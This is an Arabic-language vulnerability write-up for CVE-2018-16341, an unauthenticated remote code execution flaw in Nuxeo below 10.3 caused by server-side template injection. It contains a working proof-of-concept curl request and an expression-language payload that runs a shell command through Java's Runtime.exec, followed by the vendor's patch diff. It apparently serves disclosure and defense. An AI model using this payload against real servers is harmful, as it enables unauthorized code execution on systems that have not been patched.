
CVE-2018-16341 - تنفيذ تعليمات برمجية عن بُعد في Nuxeo بدون مصادقة باستخدام حقن القوالب من جانب الخادم
تجاوز المصادقة وتنفيذ التعليمات البرمجية عن بُعد في Nuxeo < 10.3 باستخدام SSTI - CVE-2018-16341

تحليل مفصّل (ليس بالإنجليزية):
استشارة أمنية:
ملاحظة: إصدار Nuxeo 9.x لم يعد مدعومًا من قِبل Nuxeo، ولكن تم توفير تصحيح سريع للإصدار 9.x. من جهتي، كان الإصدار 9.10 معرضًا للخطر.
يستغل إثبات المفهوم هذا (PoC) حقن القوالب من جهة الخادم (SSTI) لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) الموجود في الملف NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
الإصلاح
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}